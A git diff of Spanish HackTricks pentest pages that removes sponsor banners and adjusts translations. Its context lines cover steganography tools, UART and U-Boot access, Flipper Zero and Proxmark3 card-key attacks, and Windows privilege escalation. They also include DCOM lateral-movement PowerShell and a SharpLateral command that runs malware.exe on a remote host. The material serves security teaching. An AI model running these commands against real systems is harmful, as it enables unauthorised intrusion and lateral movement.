- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## **Extracción de Datos de Archivos** ### **Binwalk** @@ -35,7 +27,7 @@ binwalk --dd ".*" file # Extracts all data ``` ### **Foremost** -Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Instalado a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost). +Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Se instala a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost). ```bash foremost -i file # Extracts data ``` @@ -125,7 +117,7 @@ zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instal **Stegsolve** aplica varios filtros de color para revelar textos o mensajes ocultos dentro de las imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). -### **FFT para detección de contenido oculto** +### **FFT para la detección de contenido oculto** Las técnicas de Transformada Rápida de Fourier (FFT) pueden revelar contenido oculto en imágenes. Los recursos útiles incluyen: @@ -212,12 +204,6 @@ Para traducir Braille, el [Traductor de Braille de Branah](https://www.branah.co * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/todo/hardware-hacking/uart.md b/todo/hardware-hacking/uart.md index 317003624..10fe35274 100644 --- a/todo/hardware-hacking/uart.md +++ b/todo/hardware-hacking/uart.md @@ -15,25 +15,12 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Información Básica UART es un protocolo serial, lo que significa que transfiere datos entre componentes un bit a la vez. En contraste, los protocolos de comunicación paralela transmiten datos simultáneamente a través de múltiples canales. Los protocolos seriales comunes incluyen RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express y USB. -Generalmente, la línea se mantiene alta (en un valor lógico de 1) mientras UART está en estado de inactividad. Luego, para señalar el inicio de una transferencia de datos, el transmisor envía un bit de inicio al receptor, durante el cual la señal se mantiene baja (en un valor lógico de 0). A continuación, el transmisor envía de cinco a ocho bits de datos que contienen el mensaje real, seguido de un bit de paridad opcional y uno o dos bits de parada (con un valor lógico de 1), dependiendo de la configuración. El bit de paridad, utilizado para la verificación de errores, rara vez se ve en la práctica. El bit (o bits) de parada indican el final de la transmisión. +Generalmente, la línea se mantiene alta (en un valor lógico de 1) mientras UART está en estado de inactividad. Luego, para señalar el inicio de una transferencia de datos, el transmisor envía un bit de inicio al receptor, durante el cual la señal se mantiene baja (en un valor lógico de 0). A continuación, el transmisor envía de cinco a ocho bits de datos que contienen el mensaje real, seguidos de un bit de paridad opcional y uno o dos bits de parada (con un valor lógico de 1), dependiendo de la configuración. El bit de paridad, utilizado para la verificación de errores, rara vez se ve en la práctica. El bit (o bits) de parada indican el final de la transmisión. Llamamos a la configuración más común 8N1: ocho bits de datos, sin paridad y un bit de parada. Por ejemplo, si quisiéramos enviar el carácter C, o 0x43 en ASCII, en una configuración UART 8N1, enviaríamos los siguientes bits: 0 (el bit de inicio); 0, 1, 0, 0, 0, 0, 1, 1 (el valor de 0x43 en binario), y 0 (el bit de parada). @@ -45,7 +32,7 @@ Herramientas de hardware para comunicarse con UART: * Adaptadores con los chips CP2102 o PL2303 * Herramienta multipropósito como: Bus Pirate, el Adafruit FT232H, el Shikra o el Attify Badge -### Identificando Puertos UART +### Identificación de Puertos UART UART tiene 4 puertos: **TX**(Transmitir), **RX**(Recibir), **Vcc**(Voltaje) y **GND**(Tierra). Podrías encontrar 4 puertos con las letras **`TX`** y **`RX`** **escritas** en el PCB. Pero si no hay indicación, es posible que necesites intentar encontrarlos tú mismo usando un **multímetro** o un **analizador lógico**. @@ -53,14 +40,14 @@ Con un **multímetro** y el dispositivo apagado: * Para identificar el pin **GND**, usa el modo de **Prueba de Continuidad**, coloca el cable negro en tierra y prueba con el rojo hasta que escuches un sonido del multímetro. Se pueden encontrar varios pines GND en el PCB, por lo que podrías haber encontrado o no el que pertenece a UART. * Para identificar el **puerto VCC**, configura el **modo de voltaje DC** y ajústalo a 20 V de voltaje. Probeta negra en tierra y probeta roja en el pin. Enciende el dispositivo. Si el multímetro mide un voltaje constante de 3.3 V o 5 V, has encontrado el pin Vcc. Si obtienes otros voltajes, vuelve a intentarlo con otros puertos. -* Para identificar el **puerto TX**, configura el **modo de voltaje DC** hasta 20 V de voltaje, probeta negra en tierra y probeta roja en el pin, y enciende el dispositivo. Si encuentras que el voltaje fluctúa durante unos segundos y luego se estabiliza en el valor Vcc, es muy probable que hayas encontrado el puerto TX. Esto se debe a que al encender, envía algunos datos de depuración. +* Para identificar el **puerto TX**, configura el **modo de voltaje DC** hasta 20 V de voltaje, probeta negra en tierra y probeta roja en el pin, y enciende el dispositivo. Si encuentras que el voltaje fluctúa durante unos segundos y luego se estabiliza en el valor de Vcc, es muy probable que hayas encontrado el puerto TX. Esto se debe a que al encender, envía algunos datos de depuración. * El **puerto RX** sería el más cercano a los otros 3, tiene la fluctuación de voltaje más baja y el valor general más bajo de todos los pines UART. -Puedes confundir los puertos TX y RX y no pasaría nada, pero si confundes el puerto GND y el VCC podrías dañar el circuito. +Puedes confundir los puertos TX y RX y no pasará nada, pero si confundes el puerto GND y el VCC podrías dañar el circuito. -En algunos dispositivos objetivo, el puerto UART está deshabilitado por el fabricante al deshabilitar RX o TX o incluso ambos. En ese caso, puede ser útil rastrear las conexiones en la placa de circuito y encontrar algún punto de conexión. Una fuerte pista sobre la confirmación de la no detección de UART y la ruptura del circuito es verificar la garantía del dispositivo. Si el dispositivo ha sido enviado con alguna garantía, el fabricante deja algunas interfaces de depuración (en este caso, UART) y, por lo tanto, debe haber desconectado el UART y lo volvería a conectar mientras depura. Estos pines de conexión pueden ser conectados mediante soldadura o cables de puente. +En algunos dispositivos objetivo, el puerto UART está deshabilitado por el fabricante al deshabilitar RX o TX o incluso ambos. En ese caso, puede ser útil rastrear las conexiones en la placa de circuito y encontrar algún punto de conexión. Una fuerte pista sobre la confirmación de la no detección de UART y la ruptura del circuito es verificar la garantía del dispositivo. Si el dispositivo ha sido enviado con alguna garantía, el fabricante deja algunas interfaces de depuración (en este caso, UART) y, por lo tanto, debe haber desconectado el UART y lo volvería a conectar mientras depura. Estos pines de conexión se pueden conectar soldando o usando cables de puente. -### Identificando la Tasa de Baud de UART +### Identificación de la Tasa de Baud de UART La forma más fácil de identificar la tasa de baud correcta es observar la **salida del pin TX y tratar de leer los datos**. Si los datos que recibes no son legibles, cambia a la siguiente tasa de baud posible hasta que los datos se vuelvan legibles. Puedes usar un adaptador USB a serie o un dispositivo multipropósito como Bus Pirate para hacer esto, junto con un script auxiliar, como [baudrate.py](https://github.com/devttys0/baudrate/). Las tasas de baud más comunes son 9600, 38400, 19200, 57600 y 115200. @@ -88,19 +75,19 @@ minicom -s ``` Configura los ajustes como la velocidad en baudios y el nombre del dispositivo en la opción `Configuración del puerto serie`. -Después de la configuración, utiliza el comando `minicom` para iniciar la Consola UART. +Después de la configuración, usa el comando `minicom` para iniciar la Consola UART. ## UART a través de Arduino UNO R3 (Placas de chip Atmel 328p extraíbles) -En caso de que no estén disponibles adaptadores de UART Serial a USB, se puede usar Arduino UNO R3 con un hack rápido. Dado que Arduino UNO R3 suele estar disponible en cualquier lugar, esto puede ahorrar mucho tiempo. +En caso de que no estén disponibles adaptadores de UART Serial a USB, se puede usar Arduino UNO R3 con un hack rápido. Dado que Arduino UNO R3 está generalmente disponible en cualquier lugar, esto puede ahorrar mucho tiempo. -Arduino UNO R3 tiene un adaptador USB a Serial integrado en la placa. Para obtener la conexión UART, simplemente desconecta el chip microcontrolador Atmel 328p de la placa. Este hack funciona en variantes de Arduino UNO R3 que tienen el Atmel 328p no soldado en la placa (se utiliza la versión SMD). Conecta el pin RX de Arduino (Pin Digital 0) al pin TX de la interfaz UART y el pin TX de Arduino (Pin Digital 1) al pin RX de la interfaz UART. +Arduino UNO R3 tiene un adaptador USB a Serial integrado en la placa. Para obtener conexión UART, simplemente desconecta el chip microcontrolador Atmel 328p de la placa. Este hack funciona en variantes de Arduino UNO R3 que tienen el Atmel 328p no soldado en la placa (se utiliza la versión SMD). Conecta el pin RX de Arduino (Pin Digital 0) al pin TX de la interfaz UART y el pin TX de Arduino (Pin Digital 1) al pin RX de la interfaz UART. Finalmente, se recomienda usar Arduino IDE para obtener la Consola Serial. En la sección `herramientas` del menú, selecciona la opción `Consola Serial` y establece la velocidad en baudios según la interfaz UART. ## Bus Pirate -En este escenario, vamos a espiar la comunicación UART del Arduino que está enviando todas las impresiones del programa al Monitor Serial. +En este escenario vamos a espiar la comunicación UART del Arduino que está enviando todas las impresiones del programa al Monitor Serial. ```bash # Check the modes UART>m @@ -196,31 +183,19 @@ binwalk -e ``` Esto enumerará los posibles contenidos de la EEPROM según las firmas encontradas en el archivo hex. -Sin embargo, es necesario notar que no siempre es el caso que el uboot esté desbloqueado incluso si se está utilizando. Si la tecla Enter no hace nada, verifica diferentes teclas como la tecla Espacio, etc. Si el bootloader está bloqueado y no se interrumpe, este método no funcionará. Para verificar si uboot es el bootloader del dispositivo, revisa la salida en la Consola UART mientras se inicia el dispositivo. Puede mencionar uboot durante el arranque. - -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} +Sin embargo, es necesario notar que no siempre es el caso que el uboot esté desbloqueado, incluso si se está utilizando. Si la tecla Enter no hace nada, verifica diferentes teclas como la tecla Espacio, etc. Si el bootloader está bloqueado y no se interrumpe, este método no funcionará. Para verificar si uboot es el bootloader del dispositivo, revisa la salida en la Consola UART mientras se inicia el dispositivo. Puede mencionar uboot durante el arranque. {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/todo/radio-hacking/flipper-zero/README.md b/todo/radio-hacking/flipper-zero/README.md index c526ceca6..ea9607456 100644 --- a/todo/radio-hacking/flipper-zero/README.md +++ b/todo/radio-hacking/flipper-zero/README.md @@ -9,23 +9,15 @@ Aprende y practica Hacking en GCP: Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github. +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - Con [**Flipper Zero**](https://flipperzero.one/) puedes: -* **Escuchar/Capturar/Reproducir frecuencias de radio:** [**Sub-GHz**](fz-sub-ghz.md) +* **Escuchar/Capturar/Repetir frecuencias de radio:** [**Sub-GHz**](fz-sub-ghz.md) * **Leer/Capturar/Emular tarjetas NFC:** [**NFC**](fz-nfc.md) * **Leer/Capturar/Emular etiquetas de 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md) * **Leer/Capturar/Enviar señales infrarrojas:** [**Infrarrojo**](fz-infrared.md) @@ -36,12 +28,6 @@ Con [**Flipper Zero**](https://flipperzero.one/) puedes: **Otros recursos de Flipper Zero en** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -51,8 +37,8 @@ Aprende y practica Hacking en GCP: Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github. +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. {% endhint %} diff --git a/todo/radio-hacking/flipper-zero/fz-sub-ghz.md b/todo/radio-hacking/flipper-zero/fz-sub-ghz.md index 72afbcc22..4d9889455 100644 --- a/todo/radio-hacking/flipper-zero/fz-sub-ghz.md +++ b/todo/radio-hacking/flipper-zero/fz-sub-ghz.md @@ -15,23 +15,16 @@ Aprende y practica Hacking en GCP: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## Intro -Flipper Zero puede **recibir y transmitir frecuencias de radio en el rango de 300-928 MHz** con su módulo incorporado, que puede leer, guardar y emular controles remotos. Estos controles se utilizan para interactuar con puertas, barreras, cerraduras de radio, interruptores de control remoto, timbres inalámbricos, luces inteligentes y más. Flipper Zero puede ayudarte a aprender si tu seguridad está comprometida. +Flipper Zero puede **recibir y transmitir frecuencias de radio en el rango de 300-928 MHz** con su módulo integrado, que puede leer, guardar y emular controles remotos. Estos controles se utilizan para interactuar con puertas, barreras, cerraduras de radio, interruptores de control remoto, timbres inalámbricos, luces inteligentes y más. Flipper Zero puede ayudarte a aprender si tu seguridad está comprometida.
## Hardware Sub-GHz -Flipper Zero tiene un módulo sub-1 GHz incorporado basado en un [](https://www.st.com/en/nfc/st25r3916.html#overview)[chip CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) y una antena de radio (el rango máximo es de 50 metros). Tanto el chip CC1101 como la antena están diseñados para operar en las bandas de frecuencias de 300-348 MHz, 387-464 MHz y 779-928 MHz. +Flipper Zero tiene un módulo sub-1 GHz integrado basado en un [](https://www.st.com/en/nfc/st25r3916.html#overview)[chip CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) y una antena de radio (el rango máximo es de 50 metros). Tanto el chip CC1101 como la antena están diseñados para operar en las bandas de frecuencias de 300-348 MHz, 387-464 MHz y 779-928 MHz.
@@ -128,12 +121,6 @@ Obtén dBms de las frecuencias guardadas * [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/todo/radio-hacking/proxmark-3.md b/todo/radio-hacking/proxmark-3.md index 1ba461cdd..ced46acdc 100644 --- a/todo/radio-hacking/proxmark-3.md +++ b/todo/radio-hacking/proxmark-3.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Atacando sistemas RFID con Proxmark3 Lo primero que necesitas hacer es tener un [**Proxmark3**](https://proxmark.com) y [**instalar el software y sus dependencias**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux). @@ -31,7 +23,7 @@ Lo primero que necesitas hacer es tener un [**Proxmark3**](https://proxmark.com) Tiene **16 sectores**, cada uno de ellos tiene **4 bloques** y cada bloque contiene **16B**. El UID está en el sector 0 bloque 0 (y no se puede alterar).\ Para acceder a cada sector necesitas **2 claves** (**A** y **B**) que están almacenadas en **el bloque 3 de cada sector** (trailer del sector). El trailer del sector también almacena los **bits de acceso** que otorgan los permisos de **lectura y escritura** en **cada bloque** usando las 2 claves.\ -2 claves son útiles para dar permisos de lectura si conoces la primera y de escritura si conoces la segunda (por ejemplo). +2 claves son útiles para otorgar permisos de lectura si conoces la primera y de escritura si conoces la segunda (por ejemplo). Se pueden realizar varios ataques. ```bash @@ -52,7 +44,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to proxmark3> hf mf eget 01 # Read block 1 proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card ``` -El Proxmark3 permite realizar otras acciones como **eavesdropping** en una **comunicación de Tag a Reader** para intentar encontrar datos sensibles. En esta tarjeta, podrías simplemente espiar la comunicación y calcular la clave utilizada porque las **operaciones criptográficas utilizadas son débiles** y conociendo el texto plano y el texto cifrado puedes calcularla (herramienta `mfkey64`). +El Proxmark3 permite realizar otras acciones como **escuchar** una **comunicación de Tag a Reader** para intentar encontrar datos sensibles. En esta tarjeta, podrías simplemente espiar la comunicación y calcular la clave utilizada porque las **operaciones criptográficas utilizadas son débiles** y conociendo el texto plano y el texto cifrado puedes calcularla (herramienta `mfkey64`). ### Comandos en Crudo @@ -74,14 +66,7 @@ El software Proxmark3 viene con una lista precargada de **scripts de automatizac ``` proxmark3> script run mfkeys ``` -Puedes crear un script para **fuzz tag readers**, así que copiando los datos de una **tarjeta válida** solo escribe un **script Lua** que **randomice** uno o más **bytes** aleatorios y verifica si el **lector se bloquea** con alguna iteración. - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - +Puedes crear un script para **fuzz tag readers**, así que copiando los datos de una **valid card** solo escribe un **Lua script** que **randomice** uno o más **bytes** aleatorios y verifica si el **reader crashes** con alguna iteración. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/windows-hardening/checklist-windows-privilege-escalation.md b/windows-hardening/checklist-windows-privilege-escalation.md index 8d9eb9d19..25d8aa3fb 100644 --- a/windows-hardening/checklist-windows-privilege-escalation.md +++ b/windows-hardening/checklist-windows-privilege-escalation.md @@ -15,17 +15,9 @@ Aprende y practica Hacking en GCP: {% endhint %} -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### **Mejor herramienta para buscar vectores de escalación de privilegios local en Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [Información del Sistema](windows-local-privilege-escalation/#system-info) +### [Información del sistema](windows-local-privilege-escalation/#system-info) * [ ] Obtener [**Información del sistema**](windows-local-privilege-escalation/#system-info) * [ ] Buscar **exploits de kernel** [**usando scripts**](windows-local-privilege-escalation/#version-exploits) @@ -49,11 +41,11 @@ Aprende y practica Hacking en GCP:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/windows-hardening/lateral-movement/dcom-exec.md b/windows-hardening/lateral-movement/dcom-exec.md index 19dc0c206..128ecd850 100644 --- a/windows-hardening/lateral-movement/dcom-exec.md +++ b/windows-hardening/lateral-movement/dcom-exec.md @@ -15,23 +15,15 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## MMC20.Application **Para más información sobre esta técnica, consulta la publicación original en [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)** -Los objetos del Modelo de Objetos de Componente Distribuido (DCOM) presentan una capacidad interesante para interacciones basadas en red con objetos. Microsoft proporciona documentación completa tanto para DCOM como para el Modelo de Objetos de Componente (COM), accesible [aquí para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y [aquí para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Se puede recuperar una lista de aplicaciones DCOM utilizando el comando de PowerShell: +Los objetos del Modelo de Componente Distribuido (DCOM) presentan una capacidad interesante para interacciones basadas en red con objetos. Microsoft proporciona documentación completa tanto para DCOM como para el Modelo de Componente (COM), accesible [aquí para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y [aquí para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Una lista de aplicaciones DCOM se puede recuperar utilizando el comando de PowerShell: ```bash Get-CimInstance Win32_DCOMApplication ``` -El objeto COM, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite la automatización de operaciones de complementos MMC. Notablemente, este objeto contiene un método `ExecuteShellCommand` bajo `Document.ActiveView`. Más información sobre este método se puede encontrar [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Verifique su funcionamiento: +El objeto COM, [Clase de Aplicación MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite la automatización de operaciones de complementos MMC. Notablemente, este objeto contiene un método `ExecuteShellCommand` bajo `Document.ActiveView`. Más información sobre este método se puede encontrar [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Verifíquelo en ejecución: Esta función facilita la ejecución de comandos a través de una red mediante una aplicación DCOM. Para interactuar con DCOM de forma remota como administrador, se puede utilizar PowerShell de la siguiente manera: ```powershell @@ -59,7 +51,7 @@ ls \\10.10.10.10\c$\Users El objeto **MMC20.Application** fue identificado como carente de "LaunchPermissions" explícitos, por defecto a permisos que permiten el acceso a Administradores. Para más detalles, se puede explorar un hilo [aquí](https://twitter.com/tiraniddo/status/817532039771525120), y se recomienda el uso de [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET para filtrar objetos sin Permiso de Lanzamiento explícito. -Dos objetos específicos, `ShellBrowserWindow` y `ShellWindows`, fueron destacados debido a su falta de Permisos de Lanzamiento explícitos. La ausencia de una entrada de registro `LaunchPermission` bajo `HKCR:\AppID\{guid}` significa que no hay permisos explícitos. +Se destacaron dos objetos específicos, `ShellBrowserWindow` y `ShellWindows`, debido a su falta de Permisos de Lanzamiento explícitos. La ausencia de una entrada de registro `LaunchPermission` bajo `HKCR:\AppID\{guid}` significa que no hay permisos explícitos. ### ShellWindows Para `ShellWindows`, que carece de un ProgID, los métodos .NET `Type.GetTypeFromCLSID` y `Activator.CreateInstance` facilitan la instanciación del objeto utilizando su AppID. Este proceso aprovecha OleView .NET para recuperar el CLSID de `ShellWindows`. Una vez instanciado, la interacción es posible a través del método `WindowsShell.Item`, lo que lleva a la invocación de métodos como `Document.Application.ShellExecute`. @@ -75,7 +67,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy El movimiento lateral se puede lograr explotando objetos DCOM de Excel. Para obtener información detallada, se recomienda leer la discusión sobre el aprovechamiento de Excel DDE para el movimiento lateral a través de DCOM en [el blog de Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom). -El proyecto Empire proporciona un script de PowerShell, que demuestra la utilización de Excel para la ejecución remota de código (RCE) manipulando objetos DCOM. A continuación se presentan fragmentos del script disponible en [el repositorio de GitHub de Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), mostrando diferentes métodos para abusar de Excel para RCE: +El proyecto Empire proporciona un script de PowerShell, que demuestra la utilización de Excel para la ejecución remota de código (RCE) manipulando objetos DCOM. A continuación se presentan fragmentos del script disponible en [el repositorio de GitHub de Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), que muestran diferentes métodos para abusar de Excel para RCE: ```powershell # Detection of Office version elseif ($Method -Match "DetectOffice") { @@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe * [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) * [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/windows-hardening/windows-local-privilege-escalation/access-tokens.md index 91d8bb2b4..a09f7d5b7 100644 --- a/windows-hardening/windows-local-privilege-escalation/access-tokens.md +++ b/windows-hardening/windows-local-privilege-escalation/access-tokens.md @@ -15,19 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal en WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Access Tokens @@ -77,7 +64,7 @@ SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled ``` -or usando _Process Explorer_ de Sysinternals (seleccionar proceso y acceder a la pestaña "Seguridad"): +or using _Process Explorer_ from Sysinternals (select process and access"Security" tab): ![](<../../.gitbook/assets/image (772).png>) @@ -107,10 +94,10 @@ Hay dos tipos de tokens disponibles: * **Token de Suplantación**: Permite a una aplicación de servidor adoptar temporalmente la identidad del cliente para acceder a objetos seguros. Este mecanismo se estratifica en cuatro niveles de operación: * **Anónimo**: Otorga acceso al servidor similar al de un usuario no identificado. * **Identificación**: Permite al servidor verificar la identidad del cliente sin utilizarla para el acceso a objetos. -* **Suplantación**: Permite al servidor operar bajo la identidad del cliente. +* **Suplantación**: Habilita al servidor para operar bajo la identidad del cliente. * **Delegación**: Similar a la Suplantación, pero incluye la capacidad de extender esta asunción de identidad a sistemas 